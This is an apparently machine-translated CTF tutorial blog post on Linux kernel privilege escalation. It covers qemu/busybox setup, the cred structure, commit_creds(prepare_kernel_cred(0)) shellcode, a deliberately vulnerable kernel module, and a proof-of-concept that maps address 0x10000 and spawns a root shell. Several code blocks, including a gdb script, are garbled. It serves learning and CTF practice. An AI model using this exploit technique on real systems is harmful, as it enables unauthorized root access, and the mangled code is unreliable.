Vulnerability mining and utilization series of Linux kernel state in ctf (1)

illustrate

This series of articles mainly starts from the ctf competition and explains vulnerability analysis, mining and utilization on the Linux kernel. This article mainly introduces the pre-knowledge and preparations required for kernel vulnerability exploitation.

The difference between linux kernel mode and user mode

Taking Intel CPU as an example, according to the level of permissions, Intel divides the permissions for CPU instruction set operations into 4 levels from high to low:

Ring 0 (often called kernel state, the CPU can access all data in the memory, including other devices such as hard drives, network cards, and the CPU can also switch itself from one program to another)

ring 1 (reserved)

ring 2 (reserved)

Ring 3 (usually called user mode, can only have limited access to memory and is not allowed to access other devices) as shown in the figure below:

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-EKiVPon8-1691677363762)(https://image.3001.net/images/20211229/1640764225_61cc1341a3e47d575096f.png!small )]

The closer the inner ring is, the higher the authority of the CPU, and the inner ring can freely access the resources of the outer ring while the outer ring is prohibited.

Therefore, compared with user-mode vulnerabilities, kernel-mode vulnerabilities are more destructive. Obtaining kernel permissions is basically equivalent to controlling the entire operating system.

Linux kernel analysis environment construction

If you just build a kernel analysis and debugging environment, generally speaking, you need to manually download the corresponding version of the kernel and compile it. You can download it from the kernel official website. Here I downloaded the 4.19 kernel version. You may encounter problems during the compilation and installation process. If you encounter the problem of missing modules, you can use apt to install the corresponding modules on Ubuntu. The modules that the author installed manually locally are as follows:

install libncurses5-dev> sudo apt-get install flex> sudo apt-get install bison> sudo apt-get install libopenssl-dev

First use it make menuconfigto generate the default config file. This is a graphical configuration. You can kernel hacking enable some debugging options in the options to better analyze vulnerabilities on the kernel. Then use make the command to compile. Of course, this is just the default compilation option. There are many options for compiling the Linux kernel. Interested students can refer to the
book Linux Insides (https://xinqiu.gitbooks.io/linux-insides -cn/content/).

The default compilation will generate multiple files, including vmlinux, System.map, bzImage and other files. The main focus here is on the bzImage file, because it is a loadable kernel image file, and the x86 architecture is generated in the directory by default arch/x86/boot. Generally speaking, CTF questions will provide three files corresponding to the kernel image file, startup script, and root file system. Through these three files, the entire operating system can be loaded through qemu to facilitate subsequent analysis and debugging.

Next, you need to compile the file system. Here, busybox is used to compile. After downloading the source code, control the compilation options through make menuconfig. Select
static binary in the build options. Then execute it make install to generate an _install directory in the current directory and save the compiled files. file, and then use the following script to initialize the content required for system operation, which needs to _install be done in the directory.

#!/bin/sh> mkdir -pv {bin,sbin,etc,proc,sys,usr/{bin,sbin}}> echo “”“#!/bin/sh> mount -t proc none /proc> mount -t sysfs none /sys> mount -t debugfs none /sys/kernel/debug> mkdir /tmp> mount -t tmpfs none /tmp> mdev -s> exec /bin/sh”“”>>init> chmod +x init

Then switch to the _install directory and use the compression command find . | cpio -o --format=newc > ../rootfs.cpio to package all the contents in the _install directory, so that the entire kernel can be run by using the bzImage two rootfs.cpio files . qemuRun the command as follows:

qemu-system-x86_64 -kernel ./bzImage -initrd ./rootfs.cpio -s -append
“nokaslr”

Such a simple Linux system is running. The -s parameter allows gdb to debug the kernel through a remote network connection. After break, gdb interrupts as follows:

At this point, breakpoints can be set on any function containing symbols. For preliminary testing, a breakpoint is set on the new_sync_read function. It will be triggered when a user enters a command, as follows:

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-gSDbKVbm-1691677363763)(https://image.3001.net/images/20211229/1640764339_61cc13b3ee6a37b8049a5.png!small )]

Such a basic kernel debugging and analysis environment has been set up.

## How to escalate privileges in the kernel environment

basic concept

For Linux systems that support multitasking, users are the credentials for obtaining resources, and are essentially the owners of their divided permissions .

Permissions are used to control user access to computer resources (CPU, memory, files, etc.).

Processes Processes are a fundamental concept in any operating system that supports multiprogramming. A process is usually defined as an instance of a program during execution. In fact, it is processes that help us complete various tasks. The operations performed by the user are actually operations performed by the process with the user's identity information.

Since process permissions mean that the process performs specific operations for the user, when the user wants to access system resources, the process must be given permissions. In other words, the process must carry the identity information of the user who initiated the process in order to perform legal operations.

Kernel structure

All algorithms of the kernel involving processes and programs task_structare built around a data structure called (this structure has more than 600 lines in 4.19, interested readers can refer to it themselves). For the Linux kernel, the process descriptor data structure of all processes is linked task_structinto A singly linked list, the data structure is defined in include/sched.h, and part of the structure is as follows: (Reference https://blog.csdn.net/u012489236/article/details/116570125)

Here we only focus on the process pid and permission control cred structure.

The pid type definition is mainly in include/linux/pid.h4.19 and includes the following:

enumpid_type> {> PIDTYPE_PID,> PIDTYPE_TGID,> PIDTYPE_PGID,> PIDTYPE_SID,> PIDTYPE_MAX,> };

You can use the following command to view:

admins@admins-virtual-machine:~/kernel/linux-4.19$ps -T -eo
tid,pid,pgid,tgid,sid,comm> TIDPIDPGID TGIDSID COMMAND> 11 111 systemd> 22 020 kthreadd> 33 030 rcu_gp> 44 040 rcu_par_gp> 66 060 kworker/0:0H-kb> 88 080 mm_percpu_wq> 99 090 ksoftirqd/0> 10 100100 rcu_sched> 11 110110 rcu_bh> 12 120120 migration/0

When using gdb for remote debugging, in order to get task_structthe structure of the current process, we need to get the pid of init_taskthe current process and the kernel global variable, which holds task_strcutthe structure address of the initial task started by the kernel, and task_structthe structure holds There is a circular linked list tasks used to track all process task_struct structures, so we can traverse all task_structand compare pidthe values ​​to determine whether it is our own process. You can use the following script:

Helper functionto find a task given a PID or the> # address of a task_struct.> # The result is set into t > d e f i n e f i n d t a s k > i f ( ( u n s i g n e d ) t> define find_task> if((unsigned) t>definefindtask>if((unsigned)arg0 > (unsigned)&_end)> set t = ( s t r u c t t a s k s t r u c t ∗ ) t=(struct task_struct *) t=(structtaskstruct)arg0> else> set KaTeX parse error: Expected 'EOF', got '&' at position 3: t=&̲init_task> if(i…arg0)> find_next_task KaTeX parse error: Expected 'EOF', got '&' at position 10: t> while(&̲init_task!=t && t − > p i d ! = ( u n s i g n e d ) t->pid != (unsigned) t>pid!=(unsigned)arg0)> find_next_task t > e n d > i f ( t> end> if ( t>end>if(t ==&init_task)> printf"Couldn’t find task; using init_task\n"> end> end> end> p t > p ∗ ( s t r u c t t a s k s t r u c t ∗ ) t> p *(structtask_struct*) t>p(structtaskstruct)t> p (conststruct cred)$t->cred> end>> define find_next_task> # Given a taskaddress, find the next task in the linked list> set t = ( s t r u c t t a s k s t r u c t ∗ ) t =(struct task_struct *) t=(structtaskstruct)arg0> set KaTeX parse error: Expected 'EOF', got '&' at position 17: …ffset=((char *)&̲t->tasks - (char *)$t)> set t = ( s t r u c t t a s k s t r u c t ∗ ) ( ( c h a r ∗ ) t=(structtask_struct *)( (char *) t=(structtaskstruct)((char)t->tasks.next- (char *)$offset)> end

After execution find_taskpid, you can view task_structthe structure content of the corresponding process and its credcontents. The intercepted part is as follows:

$5 = {> usage = {> counter =0x2> },> uid = {> val = 0x0> },> gid = {> val = 0x0> },> suid = {> val = 0x0> },> sgid = {> val = 0x0> },> euid = {> val = 0x0> },> egid = {> val = 0x0> },> fsuid = {> val = 0x0> },> fsgid = {> val = 0x0> },> securebits =0x0,> cap_inheritable = {> cap = {0x0,0x0}> },> cap_permitted= {> cap ={0xffffffff, 0x3f}> },> cap_effective= {> cap ={0xffffffff, 0x3f}> },> cap_bset = {> cap ={0xffffffff, 0x3f}> },> cap_ambient ={> cap = {0x0,0x0}> },> jit_keyring =0x0,> session_keyring = 0x0 <irq_stack_union>,> process_keyring = 0x0 <irq_stack_union>,> thread_keyring= 0x0 <irq_stack_union>,> request_key_auth = 0x0 <irq_stack_union>,> security =0xffff88000714b6a0,> user =0xffffffff82653f40 <root_user>,> user_ns =0xffffffff82653fe0 <init_user_ns>,> group_info =0xffffffff8265b3c8 <init_groups>,> rcu = {> next = 0x0<irq_stack_union>,> func = 0x0 <irq_stack_union>> }> }> $6 = (struct task_struct *) 0xffff880006575700

Of course, we can use this method to quickly obtain task_structthe structure of the corresponding process during debugging. When writing shellcode, we usually obtain it through the value of the register or directly calling the relevant function. Here you can refer to the two methods mentioned in this book and use ESP respectively. Or the GS register to get task_structthe structure of the current process.

register unsigned long current_stack_pointer asm(“esp”)> static inline struct thread_info *current_thread_info(void)> {> return (struct thread_info *)(current_stack_pointer & ~(THREAD_SIZE- 1));> }> static __always_inline struct task_struct * get_current(void)> {> returncurrent_thread_info()->task;> }> struct thread_info {> struct task_struct task; / main task structure */> struct exec_domain exec_domain; / execution domain /> unsigned long flags; / low level flags /> __u32 status; / thread synchronousflags */> … }

The above are all search methods in a 32-bit environment. The method in a 64-bit environment is still through the gs register. The code is as follows:

.text:FFFFFFFF810A77E0__x64_sys_getuid proc near;DATA XREF:
.rodata:FFFFFFFF820004F0↓o> .text:FFFFFFFF810A77E0
;.rodata:FFFFFFFF82001BD8↓o …> .text:FFFFFFFF810A77E0 call__fentry__; Alternative
name is ‘__ia32_sys_getuid’> .text:FFFFFFFF810A77E5 pushrbp> .text:FFFFFFFF810A77E6 mov rax, gs:current_task> .text:FFFFFFFF810A77EF mov rax, [rax+0A48h]> .text:FFFFFFFF810A77F6 mov rbp, rsp> .text:FFFFFFFF810A77F9 mov esi, [rax+4]> .text:FFFFFFFF810A77FC mov rdi, [rax+88h]> .text:FFFFFFFF810A7803 callfrom_kuid_munged> .text:FFFFFFFF810A7808 moveax, eax> .text:FFFFFFFF810A780A pop rbp> .text:FFFFFFFF810A780B retn> .text:FFFFFFFF810A780B __x64_sys_getuid endp

Privilege escalation

After obtaining task_structthe structure, we are more concerned about the credstructure, which task_structcontains multiple credstructures, as follows:

/* Processcredentials: />> / Tracer’s credentials at attach: */> conststruct cred __rcu ptracer_cred;>> / Objective and real subjective task credentials (COW): /> conststruct cred __rcu real_cred;>> / Effective (overridable) subjective task credentials (COW):/> conststruct cred __rcu *cred;

The more important thing is real_credcred, which represents credentialthe relationship between the subject and the object in the mechanism in the Linux kernel. The subject provides a certificate with its own permissions, and the object provides a certificate with the permissions required to access itself. Security checks are done based on the certificates and operations provided by the subject and the object. , which credrepresents the subject certificate, real_credrepresents the object certificate, and credthe structure content is as follows:

struct cred {> atomic_tusage;> #ifdef CONFIG_DEBUG_CREDENTIALS> atomic_tsubscribers;/* number of processes subscribed /> void put_addr;> unsignedmagic;> #define CRED_MAGIC 0x43736564> #define CRED_MAGIC_DEAD0x44656144> #endif> kuid_tuid; / real UIDof the task /> kgid_tgid; / real GIDof the task /> kuid_tsuid;/ saved UIDof the task /> kgid_tsgid;/ saved GIDof the task /> kuid_teuid;/ effectiveUID of the task /> kgid_tegid;/ effectiveGID of the task /> kuid_tfsuid;/ UID for VFS ops /> kgid_tfsgid;/ GID for VFS ops /> unsignedsecurebits; / SUID-less security management /> kernel_cap_tcap_inheritable;/ caps our children can inherit/> kernel_cap_tcap_permitted; /* caps we’re permitted /> kernel_cap_tcap_effective; / caps we can actually use /> kernel_cap_tcap_bset;/ capability bounding set /> kernel_cap_tcap_ambient;/ Ambient capability set /> #ifdef CONFIG_KEYS> unsignedcharjit_keyring;/ default keyring to attach requested> * keys to */> struct key __rcu *session_keyring;/*keyring inherited over fork /> struct keyprocess_keyring;/*keyring private to this process /> struct keythread_keyring;/*keyring private to this thread /> struct keyrequest_key_auth;/*assumed request_key authority */> #endif> #ifdef CONFIG_SECURITY> void security;/ subjective LSM security */> #endif> struct user_struct user; / real user ID subscription */> struct user_namespace *user_ns;/user_ns the caps and keyrings are relative
to. /> struct group_info group_info;/ supplementary groups for euid/fsgid/> struct rcu_head rcu; /
RCU deletion hook */> } __randomize_layout;

Generally speaking, the privilege escalation process can be implemented through the following two functions, commit_creds(prepare_kernel_cred(0))which prepare_kernel_cred(0)is responsible for generating a structure with rootpermissions cred(essentially obtaining the structure of the init process, that is,
process No. 0 ), and is responsible for converting the corresponding cred structure Replace, so that the current process has permissions. Interested students can read the source code of these two functions.
credcommit_creds()root

So how does the shellcode determine the addresses of these two functions? They are enabled in our default environment kaslr, so the addresses of these two functions are fixed. We can use tools such as ida to vmlinuxanalyze this executable kernel file and load it. After success, look for commit_credsthe function, as follows:

text:FFFFFFFF810B9810 commit_credsproc near
; CODE XREF:sub_FFFFFFFF810913D5+290↑p> .text:FFFFFFFF810B9810
; sub_FFFFFFFF8109D865+15A↑p …> .text:FFFFFFFF810B9810 E8 3B 7F B4 00call__fentry__> .text:FFFFFFFF810B9815 55pushrbp> .text:FFFFFFFF810B9816 48 89 E5mov rbp, rsp> .text:FFFFFFFF810B9819 41 55 pushr13> .text:FFFFFFFF810B981B 41 54 pushr12> .text:FFFFFFFF810B981D 53pushrbx

__fentry__This function only returns, so it can be regarded as a nop instruction, so commit_credsthe function essentially starts from FFFFFFFF810B9815the beginning. Of course, 0xFFFFFFFF810B9810 is selected as commit_credsthe function address. prepare_kernel_credThe function is as follows:

text:FFFFFFFF810B9C00 prepare_kernel_cred procnear
; CODE XREF:> .text:FFFFFFFF810B9C00 E8 4B 7B B4 00call__fentry__> .text:FFFFFFFF810B9C05 55pushrbp> .text:FFFFFFFF810B9C06 BE C0 00 60 00mov esi,
6000C0h> .text:FFFFFFFF810B9C0B 48 89 E5mov rbp, rsp> .text:FFFFFFFF810B9C0E 41 54 pushr12> .text:FFFFFFFF810B9C10 49 89 FCmov r12, rdi> .text:FFFFFFFF810B9C13 48 8B 3D 26 26 AD+mov rdi,
cs:cred_jar> .text:FFFFFFFF810B9C13 01> .text:FFFFFFFF810B9C1A 53pushrbx> .text:FFFFFFFF810B9C1B E8 00 68 1B 00call
kmem_cache_alloc> .text:FFFFFFFF810B9C20 48 85 C0testrax, rax> .text:FFFFFFFF810B9C23 0F 84 E2 00 00 00 jz
loc_FFFFFFFF810B9D0B> .text:FFFFFFFF810B9C29 4D 85 E4testr12, r12> .text:FFFFFFFF810B9C2C 48 89 C3mov rbx, rax> .text:FFFFFFFF810B9C2F 0F 84 AB 00 00 00 jz
loc_FFFFFFFF810B9CE0

Therefore, 0xFFFFFFFF810B9C00 is selected as prepare_kernel_credthe function address, and such a simple shellcode is formed, as follows:

xor rdi,rdi> mov rbx,0xFFFFFFFF810B9C00> call rbx> mov rbx,0xFFFFFFFF810B9810> call rbx> ret

Of course, there are many other ways to obtain the function address, such as through a debugger or /proc/kallsymsetc., which I won’t go into details here.

Of course, there are other ways to escalate permissions. When the system determines the permissions of a process, it usually detects the cred structure uid, giduntil fsgid, if they are all 0, the default is currently rootpermissions, so we can locate credthe structure of the current process. And modifying its internal data content can also achieve the purpose of elevating rights.

## Sample

basic concept

1. Loadable modules
The Linux kernel initially adopted a macro kernel architecture. Its basic feature is that all operations of the kernel are concentrated in one executable file. The advantage of this is that modules can be called directly without communication, which effectively improves the efficiency of the kernel. Running speed, but the disadvantage is lack of scalability. Therefore, Linux has improved and introduced loadable kernel modules (LKMS) since version 2.6, which allows independent executable modules to be loaded in the kernel, providing great convenience for expanding kernel functions. Generally, the loadable kernel module is controlled through the following command:

insmod loads kernel modules > lsmod lists kernel modules > rmod unloads kernel modules

In usual CTF competitions, most questions will choose to give a kernel module with a vulnerability. Players need to analyze the module and carry out targeted vulnerability exploitation.

2. Protection mechanism a. KASLRKernel space address randomization, similar to user-level ASLR

b. stack protectorSimilar to the user-level stack canary, a cookie is added to the kernel stack to prevent kernel stack overflow.

c. SMAPManagement mode access protection, prohibiting the kernel layer from accessing user-mode data

d. SMEPManagement mode execution protection, prohibiting the kernel layer from executing user-mode code

e. MMAP_MIN_ADDR mmapThe minimum address that a function can apply for, and null pointer type vulnerabilities cannot be exploited.

f. KPTIKernel page table isolation, the main purpose is to mitigate cpu side channel attacks and kaslr bypass

3. Interaction between user and kernel a. syscallBetween user space and kernel space, there is an
intermediate layer called Syscall (system call, system call), which is a bridge connecting user mode and kernel mode. This not only improves the security of the kernel, but also facilitates porting, as you only need to implement the same set of interfaces. In Linux systems, the user space generates soft interrupts by issuing Syscalls to the kernel space, thereby causing the program to fall into the kernel state and perform corresponding operations.

b. iotclIt is essentially a system call, but it is used to directly send or receive instructions and data to the driving device.

c. open、read、writeSince the drive device is mapped as a file, the driver can be operated by accessing the file.

4. Vulnerability type a. UNINITIALIZED/NONVALIDATED/CORRUPTEDPOINTER DEREFERENCEKernel null pointer dereference

b. MEMORY CORRUPTIONKernel stack vulnerability, kernel heap vulnerability

c. INTEGER ISSUES(Arithmetic) Integer overflow and sign conversion issues

d. RACE CONDITIONS double fetchVulnerabilities

5. Vulnerability sample: This time, a null pointer dereference vulnerability is used to escalate kernel privileges. The source code of the module is as follows:

#include <linux/init.h>> #include <linux/module.h>> #include <linux/kernel.h>> #include <linux/proc_fs.h>> #include <linux/seq_file.h>> void(*my_funptr)(void)=0x10000;>> ssize_t nullp_write(struct file *file,constchar __user buf,size_t
len,loff_t
loff)> {> my_funptr();> return len;> }> staticint __init null_dereference_init(void)> {> printk(KERN_ALERT “null_dereference driver init!n”);> staticconststruct file_operationsmytest_proc_fops ={> .write = nullp_write,>> };>> proc_create(“test_kernel_npd”,0666,0,&mytest_proc_fops);> return0;> }> staticvoid __exitnull_dereference_exit(void)> {> printk(KERN_ALERT “null_dereference driver exitn”);> }> module_init(null_dereference_init);> module_exit(null_dereference_exit);

Although it is said to be a null pointer dereference, in fact, due to the MMAP_MIN_ADDRmitigation mechanism in the Linux kernel, the user layer mmapfails to apply for the 0 address through the function, so the address of the function to be called is changed to 0x10000, so that the user layer can also control this address, which is convenient later. Exploit.

First, use qemu to start the corresponding operating system. Since the default busyboxroot file system cannot normally adduseradd other users, here I directly use ubunt‍u16
base as the root file system and add a testuser, which makes it easy to check whether the privilege escalation is successful. After starting the system, insmodload the vulnerable kernel module through the command, as follows:

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-SLrm4rEr-1691677363764)(https://image.3001.net/images/20211229/1640764203_61cc132bee6f208aa3c8d.png!small )]

Then su testswitch to the test user as follows:

The poc code is as follows. After compilation, it has been placed in the root file system directory in advance and can be executed directly.

#include<sys/types.h>> #include <sys/stat.h>> #include <fcntl.h>> #include <stdio.h>> #include <stdlib.h>> #include <sys/mman.h>> unsignedchar* mypoc
=“H1\xffH\xc7\xc3\x00\x9c\x0b\x81\xff\xd3H\xc7\xc3\x10\x98\x0b\x81\xff\xd3\xc3”;> int main()> {> void* addr0 = mmap(0x10000,4096,PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS ,-1,0);> memcpy(addr0,mypoc,24);> int mfd = open(“/proc/test_kernel_npd”,O_RDWR);> int res= write(mfd,“run shellcode”,14);> system(“/bin/bash”);> return0;> }

The execution results are as follows:

At this point it can be seen that the privilege has been successfully escalated.

Network Security Engineer Enterprise Level Learning Route

At this time, of course you need a systematic learning route

If the picture is too large and has been compressed by the platform, making it difficult to see clearly, you can download it at the end of the article (free of charge), and everyone can learn and communicate together.

Some self-study introductory books on network security that I have collected

Some good video tutorials I got for free:

You can receive the above information by [clicking on the card below] and share it for free.

Guess you like

Origin blog.csdn.net/web2022050901/article/details/132220026